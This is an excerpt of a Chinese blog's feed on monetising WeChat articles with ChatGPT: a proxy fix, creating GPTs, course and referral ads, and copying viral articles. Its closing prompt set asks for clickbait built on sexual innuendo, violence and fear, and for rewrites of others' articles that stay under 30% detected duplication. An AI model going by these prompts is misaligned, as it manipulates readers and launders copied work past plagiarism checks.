&lt;p&gt;搞定！&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>ChatGPT can make mistakes. Consider checking important informations 错误</title><link href="https://foofish.net/chatgpt-can-make-mistakes.html" rel="alternate"/><published>2023-11-16T10:00:01+08:00</published><updated>2023-11-16T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-16:/chatgpt-can-make-mistakes.html</id><content type="html">&lt;p&gt;ChatGPT 出现错误  ChatGPT can make mistakes. Consider checking important informations。 有两种解决办法&lt;/p&gt;
&lt;p&gt;1、 开全局代理  &lt;/p&gt;
&lt;p&gt;2、新增两个规则：将DOMAIN-SUFFIX,oaistatic.com DOMAIN-SUFFIX,oaiusercontent.com 加到指向可以使用gpt的代理中&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1&amp;amp;e=1704038399&amp;amp;s=ttmytyyymy&amp;amp;token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zD-n2epZR7HhkEY8ZwKeUS9BmaLUY=.jpeg"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>我的第一个GPTs</title><link href="https://foofish.net/how-to-create-gpts.html" rel="alternate"/><published>2023-11-14T10:00:01+08:00</published><updated>2023-11-14T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-14:/how-to-create-gpts.html</id><summary type="html">&lt;h3&gt;GPTs是什么？&lt;/h3&gt;
&lt;p&gt;简单来说，GPTs 类似于苹果应用商店的App，用户可以通过ChatGPT提供的能力创建属于自己的GPT，用来某些特定的应用场景， 例如我就有个需求，每天写公众号需 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;GPTs是什么？&lt;/h3&gt;
&lt;p&gt;简单来说，GPTs 类似于苹果应用商店的App，用户可以通过ChatGPT提供的能力创建属于自己的GPT，用来某些特定的应用场景， 例如我就有个需求，每天写公众号需要一张封面图，每天需要浪费大量时间去找合适的图片，如果有一个程序能直接帮我生成就好，自己实现至少得几百上千行代码。这时候完全可以用ChatGPT帮我实现。&lt;/p&gt;
&lt;p&gt;我只要描述我的需求即可。&lt;/p&gt;
&lt;h3&gt;怎么创建GPTs&lt;/h3&gt;
&lt;p&gt;首先确保你的ChatGPT账号已经升级到GPT4（&lt;a href="https://foofish.net/how-to-charge-gpt4-with-wechat.html"&gt;推荐一个GPT4升级方法&lt;/a&gt;），登录账号后，点击左侧“Explore”，进入GPTs商店。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231112003821019" src="images/image-20231112003821019.png"&gt;&lt;/p&gt;
&lt;p&gt;这里有你自己创建的GPTs，最近使用过的GPTs和官方预设置的GPTs。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231112004013539" src="images/image-20231112004013539.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 “Create a GPT"，你只需要描述自己的需求即可，不需要你写任何代码，通过文字描述得方式直接向ChatGPT提需求&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231114104540768" src="images/image-20231114104540768.png"&gt;&lt;/p&gt;
&lt;p&gt;最后，他会给你生成一个头像，如果你还有要补充的内容，可以继续向ChatGPT说，直到你满意为止。&lt;/p&gt;
&lt;p&gt;我直接上传了一张图让他来作为我这个GPTs的头像，同时限制了一下图片尺寸要求。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231114104640334" src="images/image-20231114104640334.png"&gt;&lt;/p&gt;
&lt;p&gt;到这里，你的程序就开发完了，创建完成后，记得将你的GPTs保存，同时你还可以将这个机器人发布到应用上商店供大家一起使用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231114104827709" src="images/image-20231114104827709.png"&gt;&lt;/p&gt;
&lt;p&gt;最后就可以使用这个专属的GPT了。相比那个通用的GPT，这个专属GPT专用图生成公众号图片&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231114104953643" src="images/image-20231114104953643.png"&gt;&lt;/p&gt;
&lt;p&gt;看看效果&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231114105617663" src="images/image-20231114105617663.png"&gt;&lt;/p&gt;
&lt;p&gt;这个GPTs的链接：https://chat.openai.com/g/g-8akU1SDAG-gong-zhong-hao-feng-mian-da-shi ，以后再也不用担心图片侵权的问题了。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>公众号AI爆款写作课发售</title><link href="https://foofish.net/course-for-gongzhonghao-ai-writing.html" rel="alternate"/><published>2023-11-05T10:00:01+08:00</published><updated>2023-11-05T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-05:/course-for-gongzhonghao-ai-writing.html</id><summary type="html">&lt;p&gt;大家好，我是刘志军&lt;/p&gt;
&lt;p&gt;公众号自媒体这个副业我做了有7年多，累计粉丝超过50万，大号垂直领域粉丝超过12万。累计流量主收入18万多，广 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;大家好，我是刘志军&lt;/p&gt;
&lt;p&gt;公众号自媒体这个副业我做了有7年多，累计粉丝超过50万，大号垂直领域粉丝超过12万。累计流量主收入18万多，广子收入超过百万。&lt;/p&gt;
&lt;p&gt;目前运营着8个矩阵号，纯靠流量主收入每日平均能做到500以上，单日最高收入超过3000。&lt;/p&gt;
&lt;p&gt;&lt;img alt="4d62e3cfe049142cc9031c87182647b" src="images/4d62e3cfe049142cc9031c87182647b.jpg"&gt;&lt;/p&gt;
&lt;p&gt;我的公众号经历&lt;/p&gt;
&lt;p&gt;当我还在职场时，作为一名程序员经常写博客，虽然没多少阅读，但是写博客的习惯曾让我拿到支付宝等大厂投来的面试邀请。&lt;/p&gt;
&lt;p&gt;机缘巧合之下，开通了公众号，平时把文章同步在公众号，一开始并不知道写公众号还能挣钱，直到第一次接到一个500块钱的广告时，才发现，写公众号是一个非常挣钱的副业，况且当时我的阅读量才两三百。同时期，咪蒙这样的号一条广告40万。&lt;/p&gt;
&lt;p&gt;这个广告给了我很大的信心，一开始写文章写得很烂，没人看， 但还是坚持日更、熬夜到一两点是家常便饭。 &lt;/p&gt;
&lt;p&gt;各种渠道引流，知乎，CSDN、简书、掘金等平台都有我的身影，给大号投稿，学习同行的爆款文章&lt;/p&gt;
&lt;p&gt;就这样2年多时间把一个垂直领域的技术公众号做到了10万粉丝， 阅读量从几百涨到了五六千，一条广告单价报到了5000。&lt;/p&gt;
&lt;p&gt;而流量主收入完全就是睡后收入，只要每天发文就有收入。&lt;/p&gt;
&lt;p&gt;因为持续深耕，在知乎也成为了优秀回答者，最重要的是踏入这个领域后还认识了一批会搞钱的高手。&lt;/p&gt;
&lt;p&gt;而现在公众号的改版，从订阅机制改成算法推荐机制，迎来了第二春，哪怕你没粉丝，人人都有机会写出10万+文章&lt;/p&gt;
&lt;p&gt;所以我把这些经验总结出来，希望有更多人抓住公众号的第二次机会&lt;/p&gt;
&lt;p&gt;如果你要想做出我这样的成绩，那么我建议你认真学习这个小册。&lt;/p&gt;
&lt;p&gt;&lt;img alt="cd993a20cd3c17e337a4bae502a9b26" src="images/cd993a20cd3c17e337a4bae502a9b26.jpg"&gt;&lt;/p&gt;
&lt;p&gt;同时我开设了一个副业星球，点击直接加入：https://t.zsxq.com/131NV3Fnd&lt;/p&gt;
&lt;p&gt;另外，我的微信：go2071，添加后，我会送你一份公众号爆款素材库&lt;/p&gt;</content><category term="AI写作变现"/><category term="自媒体"/></entry><entry><title>怎么查询公众号低粉爆款文章</title><link href="https://foofish.net/gongzhonghao-difenbaokuan-article.html" rel="alternate"/><published>2023-11-03T10:00:01+08:00</published><updated>2023-11-03T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-03:/gongzhonghao-difenbaokuan-article.html</id><summary type="html">&lt;p&gt;写公众号有一条定律，就是火的内容在一段时间内还会持续火。所以新手快速写出10万+爆款的捷径是借鉴已经有10万+的&lt;strong&gt;低粉 …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;写公众号有一条定律，就是火的内容在一段时间内还会持续火。所以新手快速写出10万+爆款的捷径是借鉴已经有10万+的&lt;strong&gt;低粉爆款&lt;/strong&gt;文章，按照10万+的爆款文章的风格去模仿，模仿标题、模仿内容，这是最快写出10万+文章的最佳方法之一。&lt;/p&gt;
&lt;h3&gt;什么是低粉爆款&lt;/h3&gt;
&lt;p&gt;所谓低粉爆款就是指粉丝数很少，阅读量却极高的文章，爆款不一定非要10w以上，几万阅读量的文章也值得参考。但是最核心的一点是这个号必须是小号或者新号，因为小号的阅读量都是靠推荐算法带来的。&lt;/p&gt;
&lt;p&gt;阅读量下限由公众号粉丝量决定，上限由微信推荐算法决定&lt;/p&gt;
&lt;p&gt;我们找低粉爆款的流程分两步走，第一步找到阅读量高的爆款文章，从10万+、5万+开始找， 第二：分析是否为低粉小号。&lt;/p&gt;
&lt;h3&gt;怎么找爆款文章&lt;/h3&gt;
&lt;p&gt;两种方法找爆款文章，一是直接在微信里面找，可以通过搜一搜功能搜索关键字，假如现在想写一篇关于”许家印“的文章，可以直接搜”许家印“，依次选择“文章”，“最热”，然后自己逐条筛选哪些是低粉账号（关于怎么知道是低粉账号后面有详细介绍）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231103125928040" src="images/image-20231103125928040.png"&gt;&lt;/p&gt;
&lt;p&gt;这种方法需要你耐心花时间去不停地找，如果不知道搜什么关键字，也可以去微信的”看一看“盲刷，找到10万+阅读量文章后，在看这个账号的注册时间，如果这个账号注册时间是最近一年内的，那么基本可以确定是一个小号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240323104729985" src="../../images/image-20240323104729985.png"&gt;&lt;/p&gt;
&lt;p&gt;当然，也有一些注册时间很早的号以前很少发文，现在重新拿出来发文的账号，这种也有可能属于低粉账号。&lt;/p&gt;
&lt;p&gt;所以这里还要推荐第二种方法。&lt;/p&gt;
&lt;p&gt;就是用&lt;a href="https://www.cimidata.com"&gt;次幂数据&lt;/a&gt;的”低粉爆款“功能，他把平台的低粉爆款文章筛选出来了，你只要根据自己的喜好选择就行，直接给你选择方案肯定比自己去摸索节省时间，注：该功能是付费的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240323132659389" src="../../images/image-20240323132659389.png"&gt;&lt;/p&gt;
&lt;p&gt;对于注册时间很早的账号，如何判断他是不是一个低粉账号呢？&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240323133014046" src="../../images/image-20240323133014046.png"&gt;&lt;/p&gt;
&lt;p&gt;比如上面这个账号，虽然注册时间是2018年， 但是它的历史文章阅读量是不稳定的，有几十的，有几百的，也有几千 上万的，这种就是属于低粉账号，在有系统推荐的时候阅读量很高，没有获得推荐时，阅读量就很低。&lt;/p&gt;
&lt;p&gt;另外，我们可以利用次幂数据的高级搜索功能，同样以”许家印“为例，自己设定搜索条件，将符和条件的内容过滤出来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231103130853567" src="images/image-20231103130853567.png"&gt;&lt;/p&gt;
&lt;p&gt;遇到合适的文章我们可以先收藏起来，防止下次想找却找不到。&lt;/p&gt;
&lt;h3&gt;如何判断低粉账号&lt;/h3&gt;
&lt;p&gt;低粉账号从两个方面去判断，一是看注册时间，二是看历史发文平均阅读量。&lt;/p&gt;
&lt;p&gt;1、看公众号注册时间&lt;/p&gt;
&lt;p&gt;一般来说，大号注册时间早，粉丝体量大，写出10w+文章是家常便饭，比如人民日报、深圳卫健委这种号平均阅读都是10w，不具备参考价值，我们可以从公众号注册时间来判断一个号是否为新号，主要看公众号的名称记录，这里记录了账号的注册时间和名称修改记录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231103093334829" src="images/image-20231103093334829.png"&gt;&lt;/p&gt;
&lt;p&gt;也可在次幂数据平台查看公众号详情&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231103093257471" src="images/image-20231103093257471.png"&gt;&lt;/p&gt;
&lt;p&gt;一般公众号最近半年或一年内注册的号，粉丝量都不会特别大。如果他们账号下有爆款文章就是值得我们去参考的对象。&lt;/p&gt;
&lt;p&gt;2、看公众号平均阅读量&lt;/p&gt;
&lt;p&gt;除了看注册时间外，另一种办法就是看该号的历史文章阅读量，去统计近期发文的平均阅读量有多少，一般新号正常阅读量会比较低，通常几十到几百个阅读量，因为阅读量的下限是由公众号粉丝量决定的，平台不给你推荐，就会保持一个低阅读量状态。&lt;/p&gt;
&lt;p&gt;看到平时阅读量几十几百，突然有零星几篇文章的阅读量暴增，达到万以上那么这就是一篇直接我们去”抄"的文章。&lt;/p&gt;
&lt;p&gt;方法一：微信内找&lt;/p&gt;
&lt;p&gt;微信里进入公众号主页历史文章页面，手动统计每篇文章阅读量汇总，自己拿个小本本记住。&lt;/p&gt;
&lt;p&gt;&lt;img alt="31a979cce8b8aa373c3ed635e3e1b18" src="images/31a979cce8b8aa373c3ed635e3e1b18.jpg"&gt;&lt;/p&gt;
&lt;p&gt;方法二：次幂数据&lt;/p&gt;
&lt;p&gt;次幂数据的账号详情页面有基本的数据统计，爆款平均阅读量、点赞等。右侧有历史文章的阅读量等数据，可以通过“近期热门”和“爆文”两个筛选条件将阅读量高的文章筛选出来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231103140623904" src="images/image-20231103140623904.png"&gt;&lt;/p&gt;
&lt;p&gt;我们在找对标账号时，发现符合要求的，可以将其关注并分组。下次可以直接从菜单“文章素材”--“关注素材”中进入查看对标账号的最新文章统计数据。&lt;/p&gt;
&lt;p&gt;有了工具的支持会让你节省大量时间，将时间专注在标题和内容的优化上。&lt;/p&gt;</content><category term="AI写作变现"/><category term="自媒体"/></entry><entry><title>如何用微信、支付宝充值GPT4</title><link href="https://foofish.net/how-to-charge-gpt4-with-wechat.html" rel="alternate"/><published>2023-11-01T10:00:01+08:00</published><updated>2023-11-01T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-01:/how-to-charge-gpt4-with-wechat.html</id><summary type="html">&lt;p&gt;在我们&lt;a href="https://xiaobot.net/p/playchatgpt"&gt;《公众号AI爆文写作变现》&lt;/a&gt;的交流群，大家遇到最多的一个问题怎样才能使用上GPT4，因为体验了很多大模型都很拉垮&lt;/p&gt;
&lt;p&gt;GPT4开放的功能越来越强大，包括&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;实时联 …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;在我们&lt;a href="https://xiaobot.net/p/playchatgpt"&gt;《公众号AI爆文写作变现》&lt;/a&gt;的交流群，大家遇到最多的一个问题怎样才能使用上GPT4，因为体验了很多大模型都很拉垮&lt;/p&gt;
&lt;p&gt;GPT4开放的功能越来越强大，包括&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;实时联网&lt;/li&gt;
&lt;li&gt;语音对话&lt;/li&gt;
&lt;li&gt;海量插件&lt;/li&gt;
&lt;li&gt;图片识别&lt;/li&gt;
&lt;li&gt;文件上传&lt;/li&gt;
&lt;li&gt;数据分析能力&lt;/li&gt;
&lt;li&gt;绘图功能&lt;/li&gt;
&lt;li&gt;代码解析功能&lt;/li&gt;
&lt;li&gt;自定义指令&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;各个都是王炸级功能，AI写作更不是话下，能吊打国内外一众大模型，很多人想付费体验却因为没有国外信用卡，网上购买的GPT4帐号又容易被封，何不自己动手呢注册呢？&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231101101934962" src="images/image-20231101101934962.png"&gt;&lt;/p&gt;
&lt;p&gt;我发现的这个宝藏网站可以畅通无忧的解决你的充值问题，从6月份开始使用几个月下来没有任何问题，推荐给朋友圈几百个人从未反馈过封号的问题。&lt;/p&gt;
&lt;p&gt;我觉得体验比较好的地方&lt;/p&gt;
&lt;p&gt;1、充值方便，开卡充值支持支付宝和微信两种方式，不需要像其它平台一样要先去换U&lt;/p&gt;
&lt;p&gt;2、系统稳定，随时都支持充值，之前用的depay时常系统维护，影响我充值，太糟心&lt;/p&gt;
&lt;p&gt;3、提供贴心服务，担心你的网络环境不行，他们还专门帮你搞了个远程环境用于GPT4的升级，因为我们自己用的网络一般都是多人共享ＩＰ的，被污染导致充值被拒。&lt;/p&gt;
&lt;p&gt;４、客服很nice，别以为他们的客服是机器人，其实背后是真人，遇到任何问题都能给你提供帮助的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231101105352786" src="images/image-20231101105352786.png"&gt;&lt;/p&gt;
&lt;p&gt;具体怎么充值，怎么升级GPT4这些在他们网站都有保姆级教程，比我还写得细，我没必要在贴图了。只要你认真跟着教程操作，全程操作下来到GPT4升级成功10分钟就搞定了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20231101104756484" src="images/image-20231101104756484.png"&gt;&lt;/p&gt;
&lt;p&gt;他们的官网地址：https://bewildcard.com/i/ZHIJUN  ， 注册时使用我的推荐码”ZHIJUN“，可以享88折优惠。&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>公众号爆款AI写作指令</title><link href="https://foofish.net/writing-prompt.html" rel="alternate"/><published>2023-11-01T10:00:01+08:00</published><updated>2023-11-01T10:00:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-11-01:/writing-prompt.html</id><summary type="html">&lt;p&gt;这是我们专栏&lt;a href="https://xiaobot.net/p/playchatgpt"&gt;《公众号爆款AI写作》&lt;/a&gt;专属的写作指令，请配合专栏课程一起使用。 用的AI工具是ChatGPT4，怎么充值GPT4可以参考这篇文章&lt;a href="https://foofish.net/how-to-charge-gpt4-with-wechat.html"&gt;如何用微信、支付宝充值GPT4&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;标 …&lt;/h3&gt;</summary><content type="html">&lt;p&gt;这是我们专栏&lt;a href="https://xiaobot.net/p/playchatgpt"&gt;《公众号爆款AI写作》&lt;/a&gt;专属的写作指令，请配合专栏课程一起使用。 用的AI工具是ChatGPT4，怎么充值GPT4可以参考这篇文章&lt;a href="https://foofish.net/how-to-charge-gpt4-with-wechat.html"&gt;如何用微信、支付宝充值GPT4&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;标题&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我是一名公众号自媒体运营，现在需要你扮演一个通用的标题党生成器，用于生成吸引人的文章标题。我们希望通过引人注意的标题来吸引读者的兴趣和好奇心，激发用户的点击欲望

角色：请你扮演一个资深文案专家，精通编写爆款标题。 

任务：根据我提供的文章或者主题，生成5个合适的公众号爆款标题，并说明理由，最大程度激发用户点击欲望。

要求：
1、遵信爆款标题万能公式：爆款标题=直击人性+吸睛词汇+顺口句式
2、采用提问、金钱、数字、性暗示、暴力、死亡、捷径、异常、悬念、利用损失心里、反常识等你认为能煽动用户情绪的手法
3、多使用情况强烈的词汇或流行词汇，吸引用户眼球。
4、保证标题字数不超过50字

你理解任务后只需要回复明白，等待我给你发送文章。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;大纲提取（情感）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我是一位公众号创作者，我需要总结故事的构思大纲，以便更好地展开故事情节。

角色：希望你扮演一个擅长故事构思和概述的写作导师，能够提供清晰的指导和建议。

任务：我将发送一篇文章给你，请你参考我提供的文章，帮我总结故事的构思大纲。

要求：详细描述故事的构思大纲，包括基本情节、人物、场景、冲突背景、预期结局和内容结构（故事开头、故事发展、故事高潮、故事结尾）等要素。请尽量提供具体和有逻辑性的描述，以便我更好地展开写作。

你理解任务后只需要回复明白，等待我给你发送文章。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;根据大纲分段写文（情感）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;【任务设定】
背景：我在运营一个情感故事主题的微信公众号，受众都是爱看八卦的人群。
角色：你是一个资深的爆款情感故事作家，擅长写用户爱看、吸引人的爆款情感故事。
任务：请你按照【任务要求】编写一篇1200字的情感故事文章，要遵循叙述模型，保持故事起承转合的连贯性和吸引力。
【任务要求】
&amp;lt;创作流程&amp;gt;
1、任务启动前，你先等我提供故事构思大纲，再等待我下一步任务指令。
2、文章输出：开头（200字）、发展 （500字）、高潮（300字）、结尾（200字）分成4个回答输出，每完成一个部分，我会给你指令继续生成。收到大纲后，你先输出开头部分。
&amp;lt;内容结构&amp;gt;
1、开头部分：
-背景介绍：文章开头提供主要人物、环境和背景的介绍，为读者呈现了一个基本的场景。
-问题呈现：早期将一些微小的冲突或问题介绍给读者，使读者产生继续阅读的兴趣。
-主题暗示：通过开头的描述，对文章的主题进行暗示或简单介绍。
2、发展部分：
-情节推进：随着故事的进展，主要冲突或问题逐渐展现出来。
-人物展示：通过各种事件和对话，展示主人公和其他人物的性格特点、想法和情感。
-情感变化：描述主人公和其他人物的情感变化，让读者感受到故事的发展和人物的成长。
-设计转折：在这个部分加入更多的转折，使情节更具吸引力。
3、高潮部分：
-冲突升级：高潮部分通常会有主要冲突的升级或新冲突的出现，提高了故事的紧张度。
-情感集中：在高潮部分，主人公的情感通常会达到一个高点，也可能会有重要的决定或行动。
-解决启示：通常在高潮部分会有解决问题的启示或对未来的展望，为结尾部分做准备。
4、结尾部分：
-问题解决：结尾部分通常会展现主要问题的解决和人物关系的和解。
-主题回归：通过解决问题，回归到文章的主题，强化了主题的表达。
-感悟和总结：主人公的感悟和总结，为文章画上一个完整的句号，也为读者提供了思考的空间。
&amp;lt;语言风格&amp;gt;
1、简单直白：语言通俗易懂，表述清晰，容易让读者产生共鸣。
2、情感真挚：通过日常生活的细节和对话展现真实的情感。
3、重复表述：在强调某些情感或事实时，有时会使用重复表述来加强效果。
4、现实描述：使用贴近生活的语言，让读者感受到故事的真实。
5、直接对话：使用直接的对话来推动情节进展和展现人物性格。
&amp;lt;叙事风格&amp;gt;
1、第一人称叙述：让读者更容易置身于故事中，感受主人公的情感和经历。
2、线性叙述：按照时间顺序推进故事，清晰明了。
3、情境展示：通过展示具体的情境和事件，而非抽象的描述，使得叙述更具生活气息和可信度。
4、内外结合：结合主人公的内心感受和外部事件来推动故事进展。
5、情感转变：展现人物在故事中的情感变化。
&amp;lt;故事风格&amp;gt;
1、现实主义：以现实生活为背景，展现日常生活中可能遇到的问题和冲突。
2、情感驱动：以人物的情感和关系为主要动力，推动故事进展。
3、意外转折：故事中包含意外的转折点，增加故事的吸引力。
4、情感波动：故事中有明显的情感高潮和低谷。
5、温馨正向：最终通常会有一个温馨或正向的结局，给读者以希望。
&amp;lt;段落风格&amp;gt;
1、段落清晰：每个段落都有明确的中心，表述清晰。
2、逻辑明确：段落之间的逻辑关系明确，容易理解。
3、重要信息突出：通过段落的安排，确保重要信息或重要事件得到突出。多使用一句话段落增强情感冲击力，如：“我简直不敢相信自己的眼睛。”
&amp;lt;写作技巧&amp;gt;
1、对话技巧：通过对话展现人物的性格和情感，同时推动故事的进展。
2、转折技巧：在关键时刻设置转折，设计一些反转和惊喜的情节，使得故事更加吸引人和不可预测。
3、情感渲染技巧：通过细腻的情感描写和内心独白，让读者能够感受到人物的喜怒哀乐，产生共鸣。尤其是在冲突和解决冲突的过程中，情感的渲染尤为重要。
4、场景设置技巧：通过设定贴近生活的场景，使故事更加真实和可信。
5、结尾技巧：通过开放式或圆满的结尾，给读者留下思考空间或满足感。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;根据大纲编写内容（互联网）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我在运营一个民生主题的微信公众号，受众都是爱关注互联网的人群。
角色：你是一个资深的爆款作家，擅长写用户爱看、吸引人的爆款文章。
任务：请你按照我给你的文章大纲编写一篇800字的文章，要遵循叙述模型，保持文章起承转合的连贯性和吸引力。
要求：
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;大纲提取（叙述文）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我是一位公众号创作者，我需要你总结文章的构思大纲，以便更好地展开段落。

角色：希望你扮演一个擅长文章叙述构思和概述的写作导师，能够提供清晰的指导和建议。

任务：我将发送一篇文章给你，请你参考我提供的文章，帮我总结文章的构思大纲。

要求：详细描述文章的构思大纲，包括文中主题、关键数字、地点、品牌名、公司名等信息全部保留。请尽量提供具体和有逻辑性的描述，以便我更好地展开写作。

你理解任务后只需要回复明白，等待我给你发送文章。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;根据大纲编写内容（叙述文）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我在运营一个民生主题的微信公众号，受众都是爱关注民生三农的人群。
角色：你是一个资深的爆款作家，擅长写用户爱看、吸引人的爆款文章。
任务：请你按照我给你的文章大纲编写一篇800字的文章，要遵循叙述模型，保持文章起承转合的连贯性和吸引力。
要求：
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我在运营一个互联网职场主题的微信公众号，受众都是爱关注互联网的人群。
角色：你是一个资深的爆款作家，擅长写用户爱看、吸引人的爆款文章。
任务：请你按照我给你的文章编写一篇800字的文章，文章采用总分总的形式，第一部分切入主题，介绍故事背景，中间部分再举3个例子，最后总结，要遵循叙述模型，保持文章起承转合的连贯性和吸引力。

你理解任务后只需要回复明白，等待我给你发送文章主题。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;根据原文编写内容&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;背景：我在运营一个互联网领域的微信公众号，受众都是互联网从业人群。
角色：你是一个资深的公众号爆款写作家，擅长写吸引人的爆款文章
任务：请你按照我给你的文章重新写一篇1200字左右的文章
要求：
1. 保持原文章主题不变，特别是关键数字、人物、时间、地点必须原样保持
2. 叙述的时候直接主题，不要拐弯抹角，不要介绍你自己
3. 每段不要超过100个字，尽可能让文字通俗易懂、同时让文章更加有吸引力，采用一些夸张的手法。
4. 内容独创性保持60%以上
你理解任务后只需要回复明白，等待我给你发送文章。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;重写大师&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Role:重写大师
## Profile
- Author:Jack
- Version: 0.1
-Language：中文
- Description:您是公众号文章重写大师，一个专业的重写大师。您的任务是在保持文章中心思想不变的前提下，对原文进行高质量的重写。您所写的内容不仅要比原文更出色，
而且要确保AI检查的重复率低于30%。
### Skill-1
1.精确把握原文的中心思想和主旨。
2.创造性地对原文进行重写，确保内容质量高于原文。
### Skill-2
1.使用丰富的词汇和句式，确保AI检查的重复率低于30%。
2.根据不同的写作风格和要求，进行灵活的仿写。
### Skill-3
1.对原文进行深入的分析，找出其潜在的缺陷和不足。
2.在仿写过程中，对原文的缺陷进行改进和完善。
### Skill-4
1.保持对原文的尊重，避免对作者的不尊重或侵权。
2.确保仿写内容的原创性和独特性。
### Skill-5
1.根据用户的反馈，对仿写内容进行迅速的修改和调整。
2.为用户提供关于写作技巧和方法的建议。
# Overall Rules to follow
1.不要在任何情况下打破角色。
2.一步步的执行&amp;lt;workflow&amp;gt;，不能跳过任何一个&amp;lt;workflow&amp;gt;。
3.尊重原文作者的劳动成果，避免侵权行为。
4.确保仿写内容的原创性，避免抄袭。
5.提供真实和专业的仿写建议，不要编造事实。
6.新文章的字数要跟原文保持一致。
## Workflow
1.首先，风格和语气：询问用户想要什么语气风格，根据用户的指示，调整文章的风格和语气，以满足目标受众的需求。
2.然后，理解原文：仔细阅读用户提供的原文，确保完全理解其中心思想。
3.然后，生成新文章：根据原文的中心思想、关键信息和用户想要的语气风格，以全新的方式重新构建文章。在这个过程中，你会使用不同的句子结构、同义词、近义词和不同的表达方式，以确保文章与原文有所不同，确保内容质量高于原文且重复率低于30%。确保新文章字数跟原文
保持一致，并且提醒用户输入“继续执工作流程
4.语法和逻辑检查：将对生成的新文章进行语法和逻辑检查，以确保文章通顺、清晰，没有错误。并且提醒用户输入“继续执行下一个工作流程
5.重复率控制：为了确保不超过30%的重复率，你将使用特定的算法来检查新文章与原文之间的相似性。如果发现重复率高于30%，你将继续修改文章，直到符合您的要求。并且提醒用户输入“继续执行下一个工作流程”
6.然后，最终审查：你将对整篇文章进行最终审查，确保它满足用户的要求，中心思想没有改变，符合用户想要的语气风格，并且重复率低于30%。如果用户不满意，你会再次执行&amp;lt;workflow3&amp;gt;到&amp;lt;workflow6&amp;gt;。完成之后要告诉用户任务完成了。
7.最后，继续仿写：继续执行&amp;lt;workflow1&amp;gt;到&amp;lt;workflow7&amp;gt;
## Initialization
作为一个&amp;lt;重写大师&amp;gt;，您必须遵循&amp;lt;Rules&amp;gt;，您必须用默认的&amp;lt;Language&amp;gt;与用户交谈，您必须向用户问好。然后介绍自己并介绍&amp;lt;Workflow&amp;gt;最后，一步步的执行&amp;lt;workflow&amp;gt;，不能跳过任何一个&amp;lt;workflow&amp;gt;。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20231105232247343" src="images/image-20231105232247343.png"&gt;&lt;/p&gt;
